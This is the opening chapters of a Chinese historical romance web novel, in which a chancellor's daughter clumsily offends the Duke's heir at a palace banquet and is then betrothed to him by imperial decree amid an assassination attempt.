《给清冷世子下药后翻车了》
1. 第1章
春日,灿阳悄然抚过雕栏玉砌。和风吹过,随之撩动道路两侧的繁华翠柳。
宫中正举办着春日宴,宽敞的绿荫道上人来人往,时不时有人驻足在枝繁叶茂的绿树下,偷偷瞥向那身着鹅黄色罗裙的女子。
叶缝裁下了一片婆娑的光影,悄无声息地撒在她纤细的腰间,柔软的系带描绘出她动人的姿态,莲步轻移,暗香浮动。
“姜小姐,”赶来接人的宫女气息微喘,止步向着这名女子行礼,“姜大人唤奴婢来接小姐,请随奴婢来。”
闻声,姜钰雪抬起眼看向对方,伸手将吹散的鬓发挽到耳后,露出了一张精致艳丽的面庞:“好。”
她声音细柔,尾音轻颤,配上她这柔弱纤细的身段,一时竟让人油然生出一股怜惜之情。
带路的宫女不觉间看得出神,待对上她那对明亮的黑眸时才晃过神来,赶忙遮掩道:“小殿就在不远处,很快便到了。”
姜钰雪低低地应了声,心下暗暗叹气。
今年二月,上一任丞相因年事已高,便辞官归乡了。
此人原先是姜钰雪的父亲姜甫的老师,对姜甫这个从底层一路踏踏实实往上爬的学生很是满意,临走时推举了他接他的位。
而姜甫也没有辜负老师的期望,顺利地通过了皇上给予他的考验,坐上了丞相的位置。
此事一出,姜府一家五口被亲朋好友们拉着吃了好几日的宴席,就连家中久病卧床的主母李兰惜都高兴得面色红润了不少。
而今日的春日宴,正是她父亲任职丞相之职以来的第一个重要宴席,甚至还有贵客出席。
往常,姜甫都是带着家中长女姜芸,或是幺子姜子逸来参加,但如今长女已嫁,幺子又在外读书,他便只好带了二女儿姜钰雪来了。
“你可知今日殿中来了哪个难得一见的大人?来时可有瞧见我父亲在同谁说话?”
姜钰雪跟在宫女身后,忽然开口。
宫女脚下一滞,再边走边摇头:“奴婢识不得人,只是姜大人确实在同其他大人谈话。”
听完宫女的话,姜钰雪轻轻地“哦”了一声,再次沉浸在自己的思绪中。
她其实不是很喜欢来参加这种人多的宴会。
一来是她不喜也不大会宫中这些繁杂的规矩。姜府虽如今是丞相府,但姜甫和李兰惜都不会过分管束家中的小孩,只要不是太过分,都是按他们的喜好去发展的。
二来是因为宫中大臣听闻这次有一位贵客会出席,纷纷带了家眷前往,她父亲才不得已带上了她。为此,从好几日前便一直叮嘱她进了宫不要随意走动,就连今早出发前还在絮叨,好像她真的会惹出事一样。
她也没有怎么惹过事吧?
即便是指她前阵子出门时在一条小巷内遇到流氓,那也不是她故意招惹的呀?
当时是大白日,她带着侍女走在小巷里,忽然感觉身后好像有人在跟踪她。她心下一急,撒腿便要跑。怎知才跑没几步,自己竟被一把拽了回去,下一刻便被一人牵制住双手,捂着嘴堵在了墙角。
那人戴着帷帽,姜钰雪看不清对方的脸,只透过那层薄纱看见底下双眸中凛冽的目光。
对方的手很大,掌心上还有硬硬的厚茧,一掌压在她脸上磨得她发疼。
若不是她趁着对方偏头看向别处时狠狠地咬了那只手一口,怕不是都憋死了。
结果,她还没来得及呼救,后颈就传来一阵疼痛,很快便晕了过去。
最后时刻,她不知从哪来的力气和胆子,抓着对方的衣襟将帷帽扯了下来,看到了对方的脸,以及锁骨上的红痣。
后来,还是一名恰好路过的朋友将她带回了府中。
家里人吓坏了,将她浑身上下查了一番后竟是发现什么事都没有。
姜甫怕事情闹大,遭人曲解,便没有声张,只是私下派人查。但到后来,姜甫不知为何态度突然大变,叫姜钰雪将此事忘了,不准再提起。
而且打那之后,她父亲更是不敢让她随便出门,生怕她又惹上什么事。
但这怎么能叫惹事呢?这不是纯倒霉吗?
“姜小姐,好久不见。”
思索间,耳边忽然传来一个熟悉的声音。
姜钰雪回过神来,抬头看向眼前的人。
林荫道的岔口处,走出一名粉衣女子。女子翩跹的裙摆上洒满了金粉,头顶的云髻簪满了翡翠珠宝。虽言语和举止均是极为端庄淑雅,但那对凤眼中却是有一股藏不住的傲气。
看清了来者的模样,姜钰雪呼吸一滞。
刚说完就倒霉了。
“葛小姐。”
姜钰雪面上强颜欢笑,心里却很是无奈,她不喜欢这个人。
葛妍是御史大夫葛承的女儿。
姜甫与葛承均是师从前任丞相,两人从前就不对付。葛承嫌姜甫是个野路子爬上来的穷书生,不像葛家家室浩大、代代为官,加上觉得老师时常偏心姜甫,对姜甫恨得不行。
而他的女儿葛妍受父亲的影响,同样也不喜欢姜府的人。曾在背后说过她们姐妹俩的闲话,说她们是没有家教的乡下野猴子,只有皮相没有里子。
有次小宴席里,葛妍还当着好多贵女们的面特别点名了姜钰雪,暗暗嘲讽她是个没用的废物。
姜钰雪当时没听出来她在阴阳怪气她,还乐呵呵地跟着其他人一起笑。等反应过来时都已经过去好几日了,气都没处撒。
现今,父亲终于是压了葛府一头,扬眉吐气当上了丞相,这个葛妍应当是不会再刁难她了吧?
毕竟她可是丞相的女儿了。
“姜小姐也是去前方小殿的吧,要不一起走?”葛妍嘴角带着笑,但这笑却一点都不达眼底。
周围驻足的人纷纷将目光停在了她们二人身上,这么多人看着,姜钰雪也不好回绝,只好抬脚行至了对方身边,应了声“好”。
两人走了一路,谁也没有开口,紧绷得姜钰雪脸上的假笑都要碎掉了,心里止不住地纠结。
好尴尬,要不要说点什么……
不知不觉间,周围看着她们两人的人越来越多,还在窃窃私语着什么。
两人之间除了脚底石子擦出的沙沙声以外,只有无尽的沉默。
这气氛憋得姜钰雪都要喘不上气了,她最是怕尴尬,终于还是忍不住开口:“葛小姐今日这身真好看。”
葛妍抬手扶了扶头上的步摇,勾起唇角:“不过是人靠衣装,藏拙的小伎俩罢了。”
紧接着,侧首快速打量了姜钰雪一番,“不像姜小姐这般坦然,明知今日有贵客会出席,也是打扮得和往常一样。”
姜钰雪:……
死嘴,没事和她说什么话。
姜钰雪压着气,若无其事地笑了笑,从她的话语里挑了个话头:“今日来的是什么贵客呀?”
她话才刚说出去,就看到眼前的人挑起细眉,一副惊讶的神色:“姜小姐不知?”
姜钰雪被她问得不禁紧张起来,她就着这几日姜甫的唠叨回忆道:“我记得父亲说端王会来,还为此把珍藏的宝贝拿出来了。”
“不,今日来的是端王府的世子。”
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葛妍反驳了她,见姜钰雪还是一副云里雾里的神色,不敢置信地盯着她的脑袋,
“姜大人当真是什么都没同你说?”
姜钰雪眯起眼,为难地回忆着。
好像说了,又好像没说。
她只记得她父亲一直嘱咐她三不要:不要跑、不要看、不要说,其余的好像只说了对方是个他们惹不起的人。
“那姜小姐等会还是小心些为好。”
话语间,两人已经来到了殿门前。
葛妍意味深长地看了姜钰雪一眼,径直走进了殿内。
殿内,觥筹交错间是舞女们婀娜的身姿。
众臣显然已经聊完了政事,带着自家的家眷在互相敬着酒。
小殿北面的深处垂了一层细密的珠帘,珠帘后有人相谈。
“微臣参见世子殿下。”
珠帘后,姜甫正端坐在席子上,福身向对面的人行礼。
“姜大人请起。”
对面的人放下手中的茶杯,玉白色的宽袖长袍发出窸窣的声响,柔顺的青丝从肩膀垂落到席上。
“听闻姜大人接任了丞相之位,恭喜姜丞相。”男子的声音清冷如幽深的冰泉,墨色的双眸下深邃平静,让人捉摸不透。
早便听闻端王世子裴敛喜怒不形于色,本是有心理准备的,但真正见到人时依旧让姜甫暗暗擦了把冷汗,“承蒙世子殿下挂怀,臣定当恪尽职守,尽忠朝堂。”
话落,他拿起放在身侧的木匣子,向裴敛递了多过去。
珠帘外。
姜钰雪在葛妍之后进了殿,随着宫女的指引继续往里走。她环顾四周,发现殿内的那些家眷中有不少她认识的女子。
倒不如说,应该是和葛妍要好的女子,就是之前聚在一起笑她是个小废物的那群。
见到她进来,她们一个个都盯着她看,眉眼里带着怪异的笑。
说不出来是什么感觉,总之姜钰雪不太喜欢。
好烦,所以她才不喜欢来这种地方。
姜钰雪心想着,低下头加快了脚步。
舞女的表演戛然而止,人群忽然蹿动。一个个红衣蹁跹的舞女宛如池中的锦鲤,排着队绕着圈,轻盈地游荡。而姜钰雪则像是那池中的一抹小荷,被这群锦鲤团簇着,推搡着。
等……等等,怎么突然这么多人?
姜钰雪被这忽如其来的人群截住,心里满是疑惑和慌张。她试图在人群中站稳脚跟,却反被裹挟着往前挤。
忽然,身后不知被人猛推了一把,她脚步踉跄,控制不住往珠帘的方向冲去。
不、不好!要摔了!
情急之下,她慌乱地抓住了几串珠帘,本想借此稳住身形,没想到那珠帘的串绳竟细如银丝,根本不堪重负。
下一刻,只听“啪”的一声,串绳断裂,珠子噼里啪啦地散落一地。
此时,帘内的裴敛抬手正欲接过匣子。
蓦地,珠帘唰地散落,一道人影陡然出现在他眼前,径直摔在他怀中。还未等他收回手,左手便被对方一屁股坐了上去,收回的右手便这么顺势地抓在了她的肩膀上,被迫稳稳地接住了她。
姜钰雪摔得头晕眼花,下意识抓住对方的衣襟。
香软满怀。
怪异的感觉。
裴敛微微蹙眉,被压着的左手不自在地抽动了一下。
姜钰雪一个激灵,从对方怀里一下跳起,小脸通红地捂着自己身后。
在她看清对方面容的那一刻,脑海中记忆翻涌,指着面前的人大声道:“流、流氓!”
2. 第2章
“流、流氓!”
珠帘散落一地,殿内的莺歌燕舞骤然停止,众人的目光都齐齐看向了珠帘后的位置。
姜钰雪一手捂着身后,义愤填膺地指着罪魁祸首,小脸通红。
裴敛看向指着自己的手,默了会,抬眸冷眼看她:“这位小姐,是你自己撞过来的,按理来说还应是我告你袭击我在先。”
“我袭击你???”
谁袭击他了?!分明是有人突然从后面推她,她才不小心摔倒的!她顶多算是坐了他一屁股而已吧?
屁股……屁股也能袭击人了吗?
指向对方的手止不住地哆嗦着,憋了半天也没说出下半句话,反倒是把自己抖成了发红发烫的小番茄。
“我……我这是……”
嘴一张一合地扭捏了好一会,她还是没想通她的屁股为什么会袭击人,干脆跳过这个话题:“这是两码事!一码归一码!我说的是……!”
“我们之间还有两码事?”裴敛蹙眉疑惑。
“你……!”
姜钰雪本以为对方会辩解什么,没想到他竟就这么静静地看着她,眼神里是一点心虚的痕迹都没有。
她应当没有认错人才对……
视线在对方的脸上流转着,剑眉入鬓,双眸深邃,高挺的鼻梁下是淡色的薄唇。
分明就是这对眉眼,连那对黑眸中透出的冷意都一模一样,特别是衣领下露出的那一段锁骨上若隐若现的红痣……绝对就是他!
“看够了吗?”
视线中的薄唇轻启,传出了对方清冽的声音。
裴敛不紧不慢地抬起手,将被扯乱的衣领重新收紧。修长的手指一点点抚平衣领上的褶皱,明里暗里都像在警告对方非礼勿视。
姜钰雪脸上原本稍稍褪去的红晕又迅速从耳根窜满了整张脸,睫毛扑闪着飞快移开视线,辩解道:“我、我没有!我是、”
“姜钰雪!”
还未等她说完自己的辩词,身后便传来了一声怒斥。姜钰雪回头一看,这才发现姜甫正站在自己身后。
“爹爹!”
像是抓住了救命稻草一样,姜钰雪赶忙跑到姜甫身边,拉着他的袖子诉苦:“爹爹,就是他,他就是那个流氓……!”
然而,听到此话的姜甫不但没有安慰她,反倒生气地打断了她的话,瞪了她一眼:“……你还不住嘴!”
姜钰雪顿时噤声,不知所措地被姜甫拉到了身后。
姜甫挡在姜钰雪身前,上前对着裴敛深深一躬,久久未起身:“臣之小女自幼被臣娇惯,不懂规矩,竟做出冒犯殿下的荒唐之事,臣罪该万死!”
嗯?
殿、殿下?!
原本还处在疑惑中的姜钰雪陡然一惊,愣在原地。
“臣愿领受任何责罚,只求殿下能饶恕小女这一次的无知之举,臣日后定会对她严加管教。”
话落,姜甫埋首对着身后的姜钰雪使了个眼神,低声斥道:“还不快过来!”
姜钰雪看着突然为自己赔罪的父亲,反应过来自己惹了事,脸色瞬间变得煞白,在这一声催促下胆战心惊地躬身跪了下去,不敢再抬头。
听见姜甫的话,裴敛整理袖摆的动作陡然一滞,眼中闪过一抹意外。他缓缓抬起头,面无波澜地看向姜甫,不着痕迹地扫了眼在他一旁的身影。
眼前的女子低着头,垂耳髻耷拉在两侧,头上的簪花还微微打着颤。
裴敛收回视线,垂眸默了几息,似是得出定论,抬眸看向姜甫。
在场众人噤声不语,有的怕被波及,低头不敢多看一眼,有的酒意未去,仰头等着看出好戏。
“殿下消气。”
还未等到裴敛出声,围帘内又响起另一人的声音。
那人不知何时已经越过一地狼藉,膝行上前:“臣,御史大夫葛承参见殿下。”
裴敛沉默地看了姜甫几息,这才分了点视线给葛承:“葛大人。”
得到了裴敛的回应,葛承面上笑意更深,继续道:“方才臣都看到了,是姜大人的小女不小心摔了一跤,恰好摔进了这围帘内罢了。姜府小女平日不与人接触,见识的少,这才惊慌下冒犯了殿下。”
他一说完,看热闹的其他大臣似是终于得知了来龙去脉,一脸了然地点了点头。
转息,葛承皱起眉头,款款躬身,哀叹一声:“想必是姜大人为朝廷日夜操劳,疏忽了对女儿的教育。不过是个不懂事的小姑娘,还望殿下高抬贵手,饶她这一回。”
接着,看向姜甫语重心长道:“姜大人回去好好教导便是。”
姜甫面色一沉,很快又收起了神色,沉着气对裴敛躬身,接过话:“是臣教子无方,今后定严加管束。”
见姜甫老实地下了自己给递的“台阶”,葛承低垂着头,暗自得意着。
随后膝行上前,往裴敛的方向靠了靠:“殿下,外头春日当好,臣早便安排了人在小殿不远处的亭子里置办了场子。不如臣带殿下一同过去,换换心情如何?今日臣的爱女也来了,给殿下舞一曲,当是献个丑,换殿下一笑了。”
说罢,他往身后看了眼:“葛妍。”
此时,一直默默藏在他身后的葛妍垂首膝行而上,轻声道:“小女见过世子殿下。”轻盈的裙摆铺散在坐席上,与她抬眸时的羞怯之色相互映衬,越发楚楚动人。
只是,裴敛并未将注意力放在她身上,早已收回视线,对着神色沉重的姜甫说道:“罢了,起来吧。”
说罢,他从座上起身,径直往门外走去。
“殿、殿下?”见状,葛承忙起身跟上去,却是被一名男子忽然挡下,示意他停下。
葛妍疑惑地看了眼葛承,想探出接下来该怎么办。
葛承和蔼地笑了笑,安慰道:“没事,你做的不错。”
父女俩一派温馨和谐的气氛,与身后的姜甫和姜钰雪两人形成强烈对比。
宴席就这么告一段落,姜甫和姜钰雪两人坐在回府的马车中,气氛凝重。
姜钰雪心虚地看着一言不语的姜甫,斟酌了半晌,还是怯生生地开口:“爹爹……”
姜甫闭目靠着车窗,没回她。
“爹爹……对不起……”姜钰雪往姜甫的方向挪了挪,“当时不知道是谁撞了我,我不是故意的……”
姜甫拗不过她,终于还是回了话:“你知道你顶撞了谁吗你?”
“世……世子殿下?”姜钰雪小声回道。
见姜甫责备她,又连忙解释,“我当时脑子里就记起他就是之前巷子里那个流……”
“此事不准再提!”姜甫打断她。
姜钰雪其实之前就很好奇缘由,但如今她确实因为此事闯了祸,只好乖乖地应了声“哦”。
马车逐渐驶近姜府,远远便见下人守在门前,神色焦灼。
还未等马车停稳,那人便赶忙迎了上去,慌忙喊道:“老爷!老爷!夫人她又病倒了!”
-
“查得如何了?”
端王府内,裴敛端坐在案前对侍从问道。
洛十一走上前来,拱手道:“回殿下,先前在巷中追捕的那个人确实是冲着那具无名男尸来的。”
意料之中,裴敛微微颔首,思索片刻后忽然开口:“那她呢?”
他?
洛十一一怔,疑惑道:“殿下说的是……?”
“姜府的二小姐,姜钰雪。”裴敛笔尖未停,清瘦刚健的字迹落在纸上。
“那具男尸身上的信是写给姜甫的,而那日我在巷子追捕刺客时她也在。”
洛十一了然,赶忙再报:“回殿下,那日已查探过,该名女子确实只是恰好路过,因考虑到与此案无关,当时便没有上报,是属下失职。殿下若是有疑,属下进一步去查。”
笔尖停落,裴敛轻舒了口气,吩咐道:“嗯,去吧。”
然而,几息过去,洛十一还维持着拱手的姿势僵在原地。
见他未有离开的意思,裴敛抬眸看了他一眼,开口问他:“还有何事要报?”
洛十一眼睫颤动,缓缓抬起双手,将手中的东西递了过去:“皇上的手诏。”
“皇上的?”
裴敛双眸微睁,抬手接过手诏,抬眼见洛十一眼神游离不定,一副紧张的神色,遂一边拆开手诏,一边狐疑道:“送手诏过来的人可是说了什么?”
洛十一飞快眨了眨眼,喉结上下滚动,犹豫片刻后开口:“说是……有关殿下的婚事。”
裴敛揭开手诏的手一顿,听见洛十一继续道。
“指名了姜丞相府的二小姐……姜钰雪。”
-
“爹爹——!!!”
姜府一处院落内传来了女子的喊声。
就在前几日,姜甫去请了老师帮忙,从皇上那请来了御医给妻子看病。
御医也是无奈地摇了摇头,表明时日不长,即便是他也只能给她再续上个一两年的命。
但就在姜府的人束手无策之时,御医又提了一嘴,说是当年那件事后端王裴允一度
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垂死,靠着端王府祖传的一味神药给救了过来,或许可以去端王府求求看。
此话一出,这御医前一脚刚走,姜钰雪后一脚便要往端王府去。
此时院门紧闭,姜钰雪拍着门扣,对着外面喊道:“放我出去!爹爹!”
“你想出去做什么!又要给我闯祸吗!”姜甫对着紧闭的院门训斥道。
“爹爹!我想救娘亲!”姜钰雪焦急如焚,任下人怎么拉她回屋,她都死死抓住门扣不放。
“救?怎么救!”姜甫气得来回走了两圈,拾敛起怒火苦口婆心。
“你个丫头片子,你不懂!人家端王府权大势大,凭什么帮我们?等会你再去冒犯到人家,反过来给你一个不敬之罪,你爹我是不是还得提着脑袋去赎你出来?”
“那怎么办?”姜钰雪整个人扒拉在门上,对着那边喊着,“就看着娘亲等死吗!明明还有办法的!”
“那也不是你这么个莽撞法子!”
姜甫打断她,反应到自己情绪过于激动,又收了收声量:“我再想想别的办法……”
一桩桩事压得他胸闷得喘不过气,他不想再同她辩,嘱咐了下人几句,转身便离开了。
“爹爹……!!爹爹!!”姜钰雪听见姜甫走远的脚步声,焦急地拍了拍门,却再也唤不来他。
“二小姐……”下人走上前来,为难地看着她,“老爷让我们送二小姐回屋,二小姐请……”
姜钰雪顺着出声的下人看去,一回头竟发现身边围了好几个丫鬟。
这哪是送小姐回屋,这分明是关押犯人!
不行!
爹爹说再想想别的办法,可是老丞相连皇上都请了,还有什么别的办法!
难道是去求葛家?葛家可是巴不得他们家出事的,怎可能会帮他们!
还是得去端王府试试,可是她现在出不去……要是姜子逸在就好了,这个笨蛋弟弟怎么还没回来!
姜钰雪心里指责着自家弟弟,忽的想起很小的时候,姜子逸曾经在她院子里的墙角挖了个洞,让她钻出去过。
后来那个洞被灌木遮挡起来,久而久之就忘了。
对!就是那个!
“好、好吧……”
姜钰雪装作失落无助的模样,耷拉着脑袋跟着丫鬟走,才走没几步,忽然又闹道:“你们不要那么多人跟着我!都去给我搞些吃的来,可别把我闷坏了!”
丫鬟们见她愿意回屋,一个个松了口气,应下后纷纷去给她忙活了。
姜钰雪心生愧疚:对不住对不住……回头肯定给你们加工钱!
终于支开了丫鬟们,姜钰雪悄声走到记忆中的墙角处,拨开那片灌木丛,果真看到了一个洞。洞口不大,但看上去也够她爬出去。
姜钰雪喜出望外,赶忙蹲下身准备往那个洞口钻,就听见不远处一个丫鬟折返了回来。
“二小姐,下午新来了一批果子,二小姐是要……啊!二小姐!你在做什么!”
此时,姜钰雪已经整个上身钻了出去,眼看着就要出去了。
“屁、屁股……卡住了!”姜钰雪两手撑在墙壁上,用力地想把自己从那洞里拔出来,结果左扭扭右扭扭都出不来。
“快来人!快来人!”丫鬟见状便要喊人上来。
姜钰雪急得火烧眉毛,可是无论她怎么扭,都拔不出来。
就在这时,墙那边忽然传来一个声音:“二小姐,得罪了!”
“啊!”
下一刻,姜钰雪只觉得身后被人一踹,整个人一骨碌地从那洞口滚了出去。
她踉踉跄跄地爬起身,摸着被踹疼了的屁股,认出了对方是她的贴身丫鬟新月:“新月……我谢谢你……!”
还未等姜钰雪缓过来,身后就传来了其他下人的声音:“二小姐,你怎么在这?你不是应该……”
“陈伯!陈伯拦住二小姐!别让她跑了!”
“对不住了陈伯!”姜钰雪抬手一挥,把堆得高高的满篮子蔬菜果子推倒。
“二小姐!!”
“二小姐——!”
眼看着丫鬟们一个个绕过了院门,就要追上来,姜钰雪转身往街上跑去。
就在跑出府的一瞬,白光明晃,大街上人影绰绰。
慌乱间,姜钰雪爬上一辆马车,抬头对着车夫的方向喊道:“麻烦!去端王府!寻……寻世子殿下!”
她气喘吁吁,惊魂未定,头顶上方就传来了一道清冽的声音。
“姜小姐,何事寻我?”
3. 第3章
裴敛今日在此是有案要查的。
自从他暗中调查无名男尸以来,便不断有刺客袭击他。以至于方才听到那阵急促的脚步声逐渐接近时,他的手已经悄然覆在了剑柄上。
未料到,闯进来的竟然是眼前的这个人。
“姜小姐,何事寻我?”裴敛说着,长袖下指腹悄声从剑柄上滑下,只留了指尖还虚地抵在上面。
听见这个声音,姜钰雪回头看向他,惊讶不已:“你怎么在这?!”
原本梳好的发髻在刚才那一遭慌乱中挂了几片绿叶,鼻尖上还有一点明显的尘土。
裴敛不自觉地盯着那鼻尖的一点尘土看了会,很快又收起视线:“此事该是我问你才对。姜小姐,我们现在应当是不能见面的。”
……嗯?
什么不能见面……?
姜钰雪没明白他在说什么,疑惑一瞬,心里又猛地想起自己要办的事,无视了这个疑惑,赶忙开口道:“我有事要求你!”
也算是意料之中。
裴敛将视线从她脸上移开,从她手底下扯出被压着的袖角,默默与她拉开距离,闭目沉声道:“姜小姐若是指皇上提起的那件事,事已至此,没有什么可以周旋的余地。姜小姐,请回……”
“谢谢。”
见他往车厢内挪了挪,姜钰雪一下坐在了他空出来的位置上:“皇上当真同你讲过我的事了?”
身边骤然袭来一阵清甜的香气,裴敛身体一僵,睁开眼蹙眉看向她。
姜钰雪原本焦灼的神色被他冷不丁的一眼浇灭,扑朔着眼睫接过他眼里的疏离。
怎、怎么了吗……
她脸上有什么?这样看她做甚?
姜钰雪心虚地想抬手摸摸自己的脸,手肘一下撞在了对方的手臂上。那只手臂触感结实,隔着春日的薄衫能感受到那白袍下紧致的温热。
“……哦!哦哦哦……”
男女授受不亲,男女授受不亲,万一传出去什么就不好了。
姜钰雪反应过来,连忙后退坐到了他对面的位置。
车厢内的气氛凝固了几息,裴敛才缓缓开口:“此事不小,即便是皇上的意思,也总归该过问的。”
他说罢,停下手上收拾袖摆的动作,抬眸直视对面的人:“姜小姐是对我的答复不满?还是……想要此事作罢?”
“不是不是!不是要作罢!”姜钰雪赶忙摆摆手,连声否认。可千万别把求来的御医给作罢了!
“那便是对我的答复不满了?”裴敛回道。
他看过来的双眸深邃幽黑,姜钰雪只觉得那对黑眸在窥探她,会看透她,不容她有一点反抗。
姜钰雪下意识躲开他的视线,支支吾吾地遮掩道:“我……我……”
姜钰雪想应他,但又害怕他会不高兴。
可他言下之意就是他之前直接拒绝了不是吗?!现在又问她,那他到底是给……还是不给?
对方的视线还在持续,姜钰雪眼皮直跳。
怎、怎的还在看?!莫不是被他看出来了,在等她老实交代吧?
但万一说完实话,真的像爹爹说的冒犯到他了,把她抓去蹲大牢了怎么办?!
“姜小姐,”就在她还在心里斗争时,一直沉默不语的裴敛骤然开口,“若无其他事,便请回吧。”
被这么一赶,姜钰雪心下一急,咬咬牙,一脸毅然赴死:来都来了!
“我……!”
她将要说话,忽然车厢外响起几声爆竹声,受惊的马前蹄高高扬起,发出一声惊恐的嘶鸣。
“啊……!”车厢猛地摇晃起来,剧烈的颠簸将姜钰雪甩得腾空。
她下意识抓着车窗,想站起身,却是被按了回去,两手之间递来了一只结实的手臂。
“低头,抓稳。”
摇晃的视线被对方的肩膀遮挡住,耳边响起清冽的声音。姜钰雪什么都没想,听话地抓住了他。
她刚低下头,车窗骤然破裂,头顶猛地窜过一阵冷风,带着金属的铮铮嘶鸣声被打落在地。
姜钰雪隙开一条眼缝,入眼便是一把带着寒光的飞刀掉落在地。
咦!!!
姜钰雪倒吸了口凉气,吓得把头低得更低了些,头抵着那只手臂,恨不得整个人钻进臂弯里。
见她怕得厉害,裴敛沉声开口:“无碍,只是敌袭。”
啊?敌、敌袭……?
什么敌袭……?
姜钰雪大脑一片空白,还没听明白他的意思,整个人便忽的腾空而起。
“我们需得先出去,冒犯了。”裴敛一手抱起她,趁着敌袭停歇之时夺门而出。
白光骤然闪烁,周身皆是敌。
-
此时的姜府大门前。
随着方才不知哪来的几阵爆竹声响,一队整齐的队列出现在姜府门口,为首的人手中还捧着一卷明黄色的卷轴。
姜府下人见状,连滚带爬地赶去叫来了姜甫。
“云公公。”姜甫赶到前院时,为首的几个公公已经被请进府中。
云公公四下环视,发现少了个身影,上前询问道:“姜大人,请问二小姐姜钰雪何在呢?”
姜甫拱手道:“回大人,小女正在后院中。”
闻言,云公公面露笑意:“那便劳烦姜大人一并唤来吧。”
“是。”姜甫连声应下,转头对着身后的下人吩咐,“快,去把二丫头叫来!”
下人膝行后退了几步,尔后爬起来一路小跑而去。
-
“不、不是吧……”姜钰雪看着周身这群杀气腾腾的刺客,手止不住地抖。
裴敛轻吐了一口气,四下观察了一眼,淡淡道:“要费些时间了。”
尔后,长剑出鞘,提醒臂弯中的人:“抓紧了。”
下一刻,刀光剑影。
姜钰雪只觉
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得自己要被甩飞,视线天旋地转,连声求饶:“可、可以放下我吗呜呜呜……让我走呜呜呜……”
“现在不行。”裴敛回道。
裴敛眺望前方,他本就是在姜府后院不远处,现一路杀敌,再往前便到了姜府前院的位置了,遂开口道:“前面就是姜府了,再忍忍。”
——姜府内。
“老爷……”折返回来的下人面色铁青,趴在地上低声同姜甫汇报,“没有找到二小姐,丫鬟们说她……逃跑了……”
“你说什么?!”姜甫闻言面色煞白。
“大人,到时辰了。”
跟随的小太监上前同云公公说道:“皇上说过,必须在这个时辰宣读。”
“嗯,知道了。”
云公公低声应下,尔后抬高音量面向姜甫等人:“咳咳,姜二小姐有事,但此事拖延不得,现在便开始吧。”
闻言,众人纷纷正跪于地,垂首不敢言语,只听云公公高声道:
“宣旨——”
【“奉天承运,皇帝诏曰:”】
【“朕惟王室之昌,端赖懿亲之辅;家国之盛,尤需贤媛之襄。”】
“就到姜府了。”
姜府前院附近,裴敛疾跑于暗巷之中,削去了大半的刺客。
【“今见丞相姜甫二千金姜钰雪,端庄静雅,秉性柔嘉,娴于礼教,堪称闺阁之典范。”】
“你若是怕,我放你下来。”
“不要啊不要啊不要啊啊啊啊!!!我不要下来!!!会死的!!!我会死的!!!!”
【“端王裴允嫡长子裴敛,心慈如萨,才学出众,心怀家国,志存高远,实乃宗室之翘楚。”】
“啊啊啊!!!他抓我脚!他在抓我脚!!!你你你你就不能一击毙命,不要让对方挣扎吗呜呜呜呜……”
“需得留点活口,审讯用。且慢,把他手砍下就好了。”
【“朕心甚慰,念及两家门第相当,年岁相仿,才情匹配。”】
“呜呜呜……好吓人……我要回家……爹爹……娘亲……”
“最后一个。”
【“特赐婚于二人,着丞相二千金为端王世子侧妃。”】
裴敛一剑刺穿对方的脖颈,尔后拉开外袍遮挡在姜钰雪的身前,热血喷溅,染红了一整片锦绣白袍。
随后,翻过围墙,入眼便是宣诏的宦官。
【“端王裴允之子裴敛——”】
裴敛闻声放下手上的人,右脚后撤行以跪礼:“臣在。”
【“丞相姜甫之女姜钰雪——”】
姜钰雪整个人软成一摊,听到自己的名字下意识应道:“在、在……”
【“择良辰吉日,完婚成礼。”】
裴敛双掌触地,躬身行以拜礼:“臣,遵旨。”
一旁的姜钰雪看着自己一手的血,一头栽倒,晕了过去:
“遵……遵旨……”
4. 第4章
……
“拿……命……来……”
耳边传来阵阵低语。
朦胧中,姜钰雪蹙眉睁眼,浑身使不上劲。她试着抬手,但手却像灌了铅一样一动不动。
“好沉……怎么浑身黏黏糊糊的?”
耳边的低语还在脑海中不停地回荡。
她艰难地偏过头欲四下看看,入目却是一张发青的脸面目狰狞地看着她。
“啊啊啊啊!这、这、这是哪里???”
姜钰雪猛地起身,抬眼四周竟是尸山一片,自己的身上浸满了鲜血。
她起身要跑,低头一看,那具尸体的手竟抓住了她的脚。锋利的指甲嵌入她的肉里,鲜血不断迸涌而出。
尸体嘴里发出“呃呃呃”的声音,猛地张嘴咬了上来。
“啊——!”姜钰雪惊恐坐起,再次睁开眼,是熟悉的房梁。
“小姐?”新月听到屋内的动静,赶了过来,“小姐,你醒了?”
姜钰雪神色恍惚地看着新月走近,心里还惊魂未定。
是梦啊……
心跳得厉害,她抱住膝盖,拉起被子将自己从头到脚裹了起来。
此时已是日上三竿,绿叶上的晨露早已消散,只留下日照暖阳的温度。
姜府内的下人们穿梭在院落之间,四下皆是劳作的声响,唯有姜钰雪还窝在自己的闺房中闭门不出。
“小姐,该起来了。”新月看着自家主子在榻上将自己裹成个粽子,不禁叹起气。
“小姐,这都日上三竿了,您烧也退了,该出去透透气才行,再过几日教事的嫲嫲就要来了。”新月催促着,伸手便要去抓她的被子。
姜钰雪一把抓紧被子的边沿,将自己裹得更紧了些,反抗道:“不要!我不要出去!”
实在是太吓人了。
“雪儿?”
就在两人僵持之时,门口忽的传来了女子的声音。
女子身着黛蓝色绸缎长裙,柳叶弯眉下一对杏眼明亮清澈,举止沉稳端庄。此人正是姜钰雪的姐姐,姜芸。
见到姜芸走近,姜钰雪唰地抛下被子,张开双臂要去抱她:“阿姐!呜呜呜……阿姐,我好想你……”
自从姜芸出嫁后两人便几乎没再见过,姜钰雪委屈地皱着张小脸,久违地同姐姐撒个娇。
姜芸接过她伸来的手,却也是督促道:“雪儿,该起来了,过几日教事的嫲嫲就要来了。”
闻言,姜钰雪一把抽回手,急忙跳回榻上捡起才被遗弃没多久的被子,缩在墙角:“怎么阿姐你也要催我……!”
姜芸微眯起眼,故作训斥地环抱双臂:“几个侍女拉不住你,都跑到我这来投诉了。快快起来!”说着,上前便抓住她的脚踝要将她往榻外拖。
姜钰雪抬手抓住床头的角柱,哭嚷起来:“不要!我不要嫁过去!我要是嫁给他,他肯定会把我这样那样再那样的!呜呜呜……不要啊我不要被那样啊……大人饶命啊……”
那日的事姜芸也听说了,但最后都只是世子遇刺所致。端王本就是武将出生,端王世子会打会杀也在情理之中。女儿家根本没见过这些场面,一时惊吓在所难免。
只是。
“你、在说什么啊……那可是圣旨。”
姜芸也不惯着她,坚持费劲拉她起来:“你快、起来……!我先教你些简单的礼仪,别让嫲嫲来了看不起你……!”
“我不要学——!”
